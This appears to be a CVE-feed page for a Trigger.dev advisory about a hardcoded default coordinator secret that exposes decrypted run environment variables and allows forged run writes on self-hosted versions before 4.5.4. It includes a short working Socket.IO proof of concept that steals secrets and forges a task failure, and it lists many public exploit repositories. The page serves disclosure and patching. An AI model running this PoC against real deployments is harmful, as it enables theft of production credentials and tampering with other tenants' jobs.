Feed/GHSA-gg6r-gp4c-89hp
GHSA-gg6r-gp4c-89hpCRITICALCVSS 0.0

Trigger.dev: V1 coordinator default-secret unauth Socket.IO

Published Oct 2, 2026·Updated Oct 2, 2026

NVD Description

## TL;DR The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find. ## Vulnerabilities This attack is made possible by 3 vulnerabilities in Trigger.dev: ### 1. Hardcoded default authentication secret (CWE-798, Critical) PROVIDER_SECRET and COORDINATOR_SECRET are declared with `.default("provider-secret")` / `.default("coordinator-secret")` in [`apps/webapp/app/env.server.ts:289-290`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/env.server.ts#L289-L290). The values are present in the public source repo, neither var is documented in `docs/self-hosting/env/*.mdx`, `hosting/docker/.env.example`, or `hosting/k8s/helm/values.yaml`, and the auth check at [`packages/core/src/v3/zodNamespace.ts:148`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/packages/core/src/v3/zodNamespace.ts#L148) is a plain string compare against that published value ### 2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High) `READY_FOR_EXECUTION` at [`apps/webapp/app/v3/handleSocketIo.server.ts:123`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/handleSocketIo.server.ts#L123) calls `sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...)`, which at [`apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts#L1881-L1895) returns `payload.environment` as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only `marqs/` code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below ### 3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High) TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. `attempt_*` friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id ## Exploit chain / PoC ```js import { io } from "socket.io-client"; const sock = io("https://<self-hosted-target>/coordinator", { auth: { token: "coordinator-secret" }, transports: ["websocket"], }); sock.on("connect", () => { // exfil decrypted env for a known run id sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => { console.log(res.payload.environment); // { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... } }); // mark any attempt failed sock.emit("TASK_RUN_FAILED_TO_RUN", { completion: { id: "<attempt_friendlyId>", ok: false, error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" }, }, }); }); ``` ## Resolution Fixed in **v4.5.4**. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit `5ba8557a5` (#4236) — including the `/coordinator`, `/provider`, and `/shared-queue` Socket.IO namespaces, `packages/core/src/v3/zodNamespace.ts`, the `marqs` shared-queue consumer, and the `PROVIDER_SECRET` / `COORDINATOR_SECRET` environment variables. All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the `READY_FOR_EXECUTION` env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone. **Affected:** self-hosted Trigger.dev `< 4.5.4`. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3). **Managed cloud (cloud.trigger.dev) was not affected:** it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied. **Action:** self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.

Affected Packages (1)

trigger.devNPM
Fixed in 4.5.4

Public Exploits & PoCs100 found

PoC: CVE-2026-85097-Toolkit

CVE-2026-85097 – Bricksforge WordPress Plugin Unauth File Upload to RCE Toolkit (CVSS 10.0) | Red/Blue Team suite for Bricksforge Pro Forms < 3.1.8.9. 2 tools: Full Exploit (polyglot upload, web shell, mass scan, OPSEC, SQLite/JSON output) + SafeChecker (version detect, non-intrusive audit). Ethical & educational use only.

1

PoC: CVE-2026-102489

CVE-2026-102489 exploit in golang

1

PoC: sqli-cve-2026-102428

PoC: OrdaSoft Joomla OS CCK (com_os_cck) 8.3.15 unauth SQLi —mass+exploit+dork

1

PoC: debian-on-s23-ultra

A Samsung Galaxy S23 Ultra running Debian 13 as a server. The bootloader is locked, so an app re-establishes root after every reboot: Shizuku, CVE-2026-43499, KernelSU Next late-load, then a Debian chroot with sshd. One APK, quickstart, chroot bootstrap, and notes on everything that did not work.

1

PoC: CVE-2026-88776

Write-up for CVE-2026-88776

1

PoC: CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — Unauthenticated PHP Object Injection (RCE)

1

PoC: CVE-2026-68582-PoC

PoC for CVE-2026-68582 / GHSA-rj9j-8772-4h6c — Vikunja link-share BOLA

PoC: dymo-id-cve-poc

PoCs for CVE-2026-102262 & CVE-2026-101893 — code execution and XXE in DYMO ID (reported & fixed)

PoC: CVE-2026-72898-metabase

CVE-2026-72898 Metabase Security Tools

PoC: CVE-2026-107159

MiniUPnPd <= 2.3.11 Divide-by-Zero DoS via SSDP M-SEARCH MX Header

PoC: CVE-2026-97229-GitLab-CI-CD-Regex-Compiler-RCE

CVE-2026-97229 — GitLab CI/CD Regex Compiler RCE

PoC: CVE-2026-104711-Advanced-Variant

POC for CVE-2026-104711-Advanced-Variant

PoC: KDSExtract

Exploits CVE-2026-58222 to recover Samba KDS root keys and derive gMSA credentials from a low-privilege domain account.

PoC: CVE-2026-104711-exploit-payload-4

POC for the CVE-2026-104711 new variants

PoC: CVE-2026-104711-POC-Variant3

POC for the CVE-2026-104711 which is a new variant

PoC: CVE-2026-104711

POC for the CVE-2026-104711

PoC: CVE-2026-85097

POC CVE-2026-85097

PoC: CVE-2026-41992-poc

POC for the CVE-2026-41992

PoC: fromagegate

FROMAGEGATE — PoC + detection toolkit for Danfoss AK-SM 8xxA CVE-2025-41450/-41451/-41452 (code-of-the-day auth bypass, alarm-to-mail RCE, nginx config injection). For detection-signature development.

PoC: rails-doubletap-py

Automated Ruby on Rails doubletap RCE (CVE-2019-5418 + CVE-2019-5420) in pure Python, using the ERB#def_module gadget for modern Ruby.

PoC: CVE-2026-3888-PoC

CVE-2026-3888 PoC; discovered by the Qualys Threat Research Unit (TRU).

PoC: CVE-2025-32432-craftcms-rce

Working PoC + debugging writeup for CVE-2025-32432 (Craft CMS pre-auth RCE)

PoC: CVE-2026-84411-reproduction

CVE-2026-84411 root cause notes and a non-destructive probe (RouterOS before 7.24)

PoC: sonicwall-sma-1000-cve-2026-102255

A complete guide and workflow for integrating Agile sprints with DevOps CI/CD pipelines.

PoC: smartermail

CVE-2026-104082, CVE-2026-104083, CVE-2026-104084

PoC: CVE-2026-91737

CVE-2026-91737 Chrome renderer RCE PoC (PDFium)

PoC: CVE-2026-102255

CVE-2026-102255 - Draft or TODO

PoC: CraftCMS-CVE-2026-79987

Authenticated RCE exploit for Craft CMS 5.9.0–5.10.12 (CVE-2026-79987). Time-based save-action oracle + raw-TCP exfil. Verified on vanilla lab.

PoC: kgsl-1905-msm8953

Research notes & harnesses: KGSL SVM use-after-free (CVE-2021-1905) on Qualcomm MSM8953 / Adreno 506 / kernel 3.18 armv7. Credits upstream patches and prior art.

PoC: postgres-basebackup-symlink

PostgreSQL 18.6 - High - Remote - File write - pg_basebackup follows absolute tar symlink leftover of CVE-2026-6475

PoC: CVE-2026-103889

Proof of concept and isolated Docker lab for CVE-2026-103889, an unauthenticated RCE vulnerability in Expivi 3D Product Configurator for WooCommerce ≤ 2.16.2.

PoC: CVE-2026-9586_POC_EXPLOIT

For new CVEs without existing/working/non-mangled POCs

PoC: CVE-2026-91136

CVE-2026-91136 Divi Plus <= 2.4.0 unauthenticated arbitrary file read (mass scanner + exploit)

PoC: langflow-cve-2026-9198

Independent reconstruction, lab validation, and PoC for CVE-2026-9198, the Langflow unauthenticated RCE (fixed in 1.10.1)

PoC: metabase-cve-2026-72898

Independent reconstruction, lab validation, and PoC for CVE-2026-72898 — Metabase unauthenticated SQLi (patched in 0.63.5)

PoC: CVE-2026-15748

Unauthenticated RCE in WordPress Forminator Forms <= 1.56.1 (CVSS 9.8)

PoC: CVE-2026-104286-PoC

PoC CVE-2026-104286 FortiMail

PoC: ReactorWriteUp-HackTheBox

Reactor es una máquina Linux fácil vulnerable a CVE-2025-55182 (React2Shell), RCE sin autenticación en React Server Components. Accedemos como node, crackeamos un hash MD5 de una base de datos SQLite y pivotamos a engineer por SSH. La escalada abusa del flag --inspect de Node.js para ejecutar código como root vía depuración V8.

PoC: CVE-2026-105306

CVE-2026-105306: Token Introspection Audience Bypass via Dynamic Client Registration in Keycloak - Writeup by DungSoCool

PoC: GhostLock-Next

The next implementation of GhostLock CVE-2026-43499

PoC: ElasticRift

A vulnerable-by-design, secure-by-deployment NGINX pipeline centered around the aftermath of CVE-2026-42945 (NGINX Rift).

PoC: CVE-2026-27626

CVE-2026-27626 - OliveTin <3000.10.0 OS command injection via password-typed arguments, escalating to root when OliveTin runs as root.

PoC: Exploit-CVE-2026-40224

CVE-2026-40224: systemd-machined local privilege escalation

PoC: CVE-2026-41940-PoC

cPanel & WHM Authentication Bypass via CVE-2026-41940 explotation

PoC: CVE-2025-57819

FreePBX unauthenticated SQLi (endpoint module)

PoC: CVE-2026-43805

Binary diff analysis and non-destructive PoC for CVE-2026-43805

PoC: diskcache-community

Community-maintained hard fork of grantjenks/python-diskcache: SQLite-backed persistent cache for Python, with a fix path for CVE-2025-69872

PoC: CVE-2026-108592-poc

CVE-2026-108592 — Environment Variable Exposure PoC in mini-swe-agent

PoC: odin-od105-devkit

CVE-2019-2215 temporary root toolkit for Smartisan Nut Pro (OD105)

PoC: CVE-2026-84568

Reproducible macOS automountd research and lab PoCs for CVE-2026-84568 and CVE-2026-84570: fstype path traversal, NFS payload delivery, Gatekeeper behavior, and root code execution.

PoC: cs50-cybersecurity-final-project

Technical analysis of Log4Shell (CVE-2021-44228) for CS50 Cybersecurity.

PoC: CVE-2026-84411

CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit

PoC: CVE-2025-9548

CVE-2025-9548: Lenovo Power Management Driver null-pointer dereference research and gated PoC

PoC: CVE-2026-69414

**CVE-2026-69414** is an elevation of privilege vulnerability in the **Microsoft Malware Protection Engine** (part of Windows Defender / Microsoft Defender Antivirus), publicly referred to as **"RoguePlanet"**. It represents a **patch bypass** of the original vulnerability **CVE-2026-50656**.

PoC: CVE-2026-103690

SQL injection (CWE-89) in itsourcecode Leave Management System 1.0 - CVE-2026-103690 / VulDB VDB-412559

PoC: CVE-2026-102428

CVE-2026-102428 PoC: OrdaSoft Joomla OS CCK (com_os_cck) <=8.3.15 unauth SQLi — order_field/order_direction ORDER BY injection on public listings. Check + mass exploit, POCBIT-102428-OK marker, CVSS 9.3. https://pocbit.org/pocs/cve-2026-102428

PoC: CVE-2026-106445

CVE-2026-106445 — Handlebars 4.0.0–4.7.9 RCE via Function.prototype.constructor bypass (GHSA-p8wg-vrv2-v86f). PoCbit PoC + Docker lab (4.7.9), check/exploit HTTP client, GHSA template chain. Fixed 4.7.10. https://pocbit.org/pocs/cve-2026-106445

PoC: CVE-2026-107806

CVE-2026-107806 — nginx-ui 2.3.8–2.4.x auth RCE via forged backup restore (TestConfigCmd). PoCbit PoC: GET /api/backup, tamper app.ini, POST /api/restore, POST /api/nginx/test. check/exploit, batch url|JWT. Fixed 2.5.0. https://pocbit.org/pocs/cve-2026-107806

PoC: ModelSim-Decryptor

CVE-2021-42023

PoC: CVE-2026-94503

Zombify <= 1.7.7 Unauthenticated Arbitrary File Upload

PoC: CVE-2026-85097

Bricksforge <= 3.1.8.9 Unauthenticated Arbitrary File Upload

PoC: Docker-Lab-CVE-2024-4367

Docker lab to test proof of concepts for CVE-2024-4367. A high-severity type confusion and remote code execution flaw in Firefox PDF.js font handling due to missing type checks (affecting Firefox < 126, Firefox ESR < 115.11, and PDF.js < 4.2.67).

PoC: braces-security-backport

MIT-licensed braces 3.0.3 with reviewed CVE-2026-93687 depth backport; pinned consumption only

PoC: fortimail-cve-2026-104286-response

FortiMail CVE-2026-104286 (CVSS 9.8) 점검·대응 도구 (버전 확인, IoC 점검, 완화·패치 체크리스트)

PoC: telegram-cve-2026-107181

Telegram CVE-2026-107181

PoC: CVE-2026-84520

AppleFDEKeyStore poc

PoC: larkspur-billing

Synthetic-data billing portal pinned to next@14.2.24 (CVE-2025-29927) — test customer for oopsie

PoC: apache-tomcat-security-audit

Penetration test of Apache Tomcat — Ghostcat, CVE-2017-12615 and Struts2/OGNL exploitation with MITRE ATT&CK mapping

PoC: CVE-2026-21589

Atlassian Arbitrary File Read

PoC: honor90-ghostlock

GhostLock (CVE-2026-43499) + KernelSU late-load port for Honor 90 REA-NX9, MagicOS 9.0.0.211 / Android 15 (pure-GKI 5.10.236). Fork of GhostLock-H80GT.

PoC: CVE-2025-34071

RCE in Kerio Control 9.4.5 via unsigned firmware update.

PoC: honor-90gt-mag-an00-root-research

荣耀 90 GT (MAG-AN00) 提权尝试全记录:CVE-2026-64560 移植、堆喷射原语穷举与漏洞判定方法论

PoC: CVE-2026-28775

CVE-2026-28775 SNMP RCE

PoC: CVE-2021-26828

Corrected python code for CVE-2021-26828

PoC: citrix-netscaler-rce-cve-2026-107406

A complete guide and workflow for integrating Agile sprints with DevOps CI/CD pipelines.

PoC: CVE-2026-94597-poc

CVE-2026-94597

PoC: REDMI_Root

Redmi Pad Pro (dizi) 内核 Root 方案 — CVE-2026-43499 select_stack 适配,KernelSU 越狱模式

PoC: exploit-docs

the files/docs for various exploits, such as (LTBEEF, Sh1mmer, CryptoSmite, RMASmoke, aka: CVE-2025-1122, etc.)

PoC: Root-My-Galaxy-Payloads-SM-S928N

Device-specific CVE-2026-43499 payload profile for Galaxy S24 Ultra SM-S928N (S928NKSU6EZIF, Android 17, kernel 6.1.162)

PoC: CVE-2026-55450

CVE-2026-55450

PoC: vulhub-php-cve-2012-1823

Vulhub php/CVE-2012-1823: PHP-CGI Query String Argument Injection (CVE-2012-1823), run with Isoloom

PoC: vulhub-unomi-cve-2020-13942

Vulhub unomi/CVE-2020-13942: Apache Unomi MVEL/OGNL Injection RCE (CVE-2020-13942), run with Isoloom

PoC: vulhub-libssh-cve-2018-10933

Vulhub libssh/CVE-2018-10933: libssh Server Authentication Bypass (CVE-2018-10933), run with Isoloom

PoC: vulhub-spring-cve-2016-4977

Vulhub spring/CVE-2016-4977: Spring Security OAuth2 Whitelabel SpEL RCE (CVE-2016-4977), run with Isoloom

PoC: vulhub-rails-cve-2018-3760

Vulhub rails/CVE-2018-3760: Ruby on Rails Sprockets Path Traversal (CVE-2018-3760), run with Isoloom

PoC: vulhub-h2database-cve-2022-23221

Vulhub h2database/CVE-2022-23221: H2 Database Console JDBC URL RCE (CVE-2022-23221), run with Isoloom

PoC: vulhub-flink-cve-2020-17519

Vulhub flink/CVE-2020-17519: Apache Flink JobManager Directory Traversal (CVE-2020-17519), run with Isoloom

PoC: vulhub-elasticsearch-cve-2014-3120

Vulhub elasticsearch/CVE-2014-3120: Elasticsearch MVEL Dynamic Script RCE (CVE-2014-3120), run with Isoloom

PoC: vulhub-dubbo-cve-2019-17564

Vulhub dubbo/CVE-2019-17564: Apache Dubbo HTTP Protocol Deserialization (CVE-2019-17564), run with Isoloom

PoC: vulhub-cacti-cve-2022-46169

Vulhub cacti/CVE-2022-46169: Cacti remote_agent.php Command Injection (CVE-2022-46169), run with Isoloom

PoC: vulhub-apisix-cve-2020-13945

Vulhub apisix/CVE-2020-13945: Apache APISIX Default Admin Token RCE (CVE-2020-13945), run with Isoloom

PoC: vulhub-spring-cve-2022-22947

Vulhub spring/CVE-2022-22947: Spring Cloud Gateway Actuator Code Injection (CVE-2022-22947), run with Isoloom

PoC: vulhub-redis-cve-2022-0543

Vulhub redis/CVE-2022-0543: Redis Lua Sandbox Escape (CVE-2022-0543), run with Isoloom

PoC: vulhub-jmeter-cve-2018-1297

Vulhub jmeter/CVE-2018-1297: Apache JMeter RMI Deserialization RCE (CVE-2018-1297), run with Isoloom

PoC: vulhub-activemq-cve-2016-3088

Vulhub activemq/CVE-2016-3088: ActiveMQ Fileserver Arbitrary File Write (CVE-2016-3088), run with Isoloom

PoC: vulhub-glassfish-cve-2017-1000028

Vulhub glassfish/CVE-2017-1000028: GlassFish 4.1 Admin Console Arbitrary File Read (CVE-2017-1000028), run with Isoloom

PoC: vulhub-appweb-cve-2018-8715

Vulhub appweb/CVE-2018-8715: Appweb Digest Authentication Bypass (CVE-2018-8715), run with Isoloom

PoC: mhl-off-hook-writeup

a challenge for a CVE-2026-49881

PoC: vulhub-openssh-cve-2018-15473

Vulhub openssh/CVE-2018-15473: OpenSSH 7.7 Username Enumeration (CVE-2018-15473), run with Isoloom

PoC: vulhub-opensmtpd-cve-2020-7247

Vulhub opensmtpd/CVE-2020-7247: OpenSMTPD MAIL FROM Command Injection (CVE-2020-7247), run with Isoloom

References

View on NVD Search GitHub Search Google

Get alerted for CVEs like this

Register your stack and get notified within minutes when a matching CVE drops.

Start monitoring free